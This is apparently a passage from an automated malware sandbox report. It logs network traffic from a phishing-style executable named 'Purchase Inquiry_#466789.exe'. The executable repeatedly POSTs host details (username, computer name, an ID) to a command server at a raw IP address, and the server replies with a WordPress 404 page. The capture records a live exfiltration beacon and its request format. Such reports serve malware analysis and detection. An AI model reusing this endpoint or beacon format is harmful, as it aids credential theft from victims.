href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:59.363871098 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:59.363883972 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:59.363904953 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:59.363919973 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:59.363982916 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:59.364037037 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:59.364052057 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:59.364275932 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:32:59.364331007 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49765	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:59.553248882 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:59.558264971 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:04.681168079 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:03 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:04.681232929 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:04.681247950 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:04.681324005 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:33:04.681396961 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:33:04.681421041 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:33:04.681864977 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:04.681879044 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:04.681894064 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:04.682384014 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49767	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:05.319792032 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:05.324711084 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:07.441765070 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:05 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:07.441808939 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:07.441833973 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:07.441852093 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:07.441890001 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:07.441905022 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:07.441947937 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:07.441976070 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:07.442157984 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:33:07.442240000 CEST	224	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49768	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:07.940840960 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:07.945858002 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:10.080249071 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:08 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 